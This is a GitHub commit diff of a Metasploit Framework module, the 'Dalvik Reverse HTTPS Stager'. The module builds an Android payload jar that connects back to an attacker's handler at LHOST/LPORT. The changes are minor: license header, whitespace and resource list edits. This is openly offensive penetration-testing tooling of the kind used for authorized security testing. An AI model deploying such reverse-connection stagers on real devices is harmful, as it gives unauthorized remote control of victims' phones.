1
1
##
2
- # This file is part of the Metasploit Framework and may be subject to
3
- # redistribution and commercial restrictions. Please see the Metasploit
4
- # web site for more information on licensing and terms of use.
5
- # http://metasploit.com/
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
6
4
##
7
- #
8
5
9
6
require 'msf/core'
10
7
require 'msf/core/handler/reverse_https'
@@ -18,21 +15,20 @@ def initialize(info = {})
18
15
super ( merge_info ( info ,
19
16
'Name' => 'Dalvik Reverse HTTPS Stager' ,
20
17
'Description' => 'Tunnel communication over HTTPS' ,
21
- 'Author' => 'anwarelmakrahy' ,
18
+ 'Author' => 'anwarelmakrahy' ,
22
19
'License' => MSF_LICENSE ,
23
20
'Platform' => 'android' ,
24
21
'Arch' => ARCH_DALVIK ,
25
22
'Handler' => Msf ::Handler ::ReverseHttps ,
26
23
'Stager' => { 'Payload' => "" }
27
- ) )
24
+ ) )
28
25
29
26
register_options (
30
27
[
31
28
OptInt . new ( 'RetryCount' , [ true , "Number of trials to be made if connection failed" , 10 ] )
32
29
] , self . class )
33
-
34
30
end
35
-
31
+
36
32
def generate_jar ( opts = { } )
37
33
host = datastore [ 'LHOST' ] ? datastore [ 'LHOST' ] . to_s : String . new
38
34
port = datastore [ 'LPORT' ] ? datastore [ 'LPORT' ] . to_s : 8443 . to_s
@@ -47,8 +43,6 @@ def generate_jar(opts={})
47
43
48
44
files = [
49
45
[ "AndroidManifest.xml" ] ,
50
- [ "res" , "drawable-mdpi" , "icon.png" ] ,
51
- [ "res" , "layout" , "main.xml" ] ,
52
46
[ "resources.arsc" ]
53
47
]
54
48
@@ -60,5 +54,4 @@ def generate_jar(opts={})
60
54
61
55
jar
62
56
end
63
-
64
57
end
0 commit comments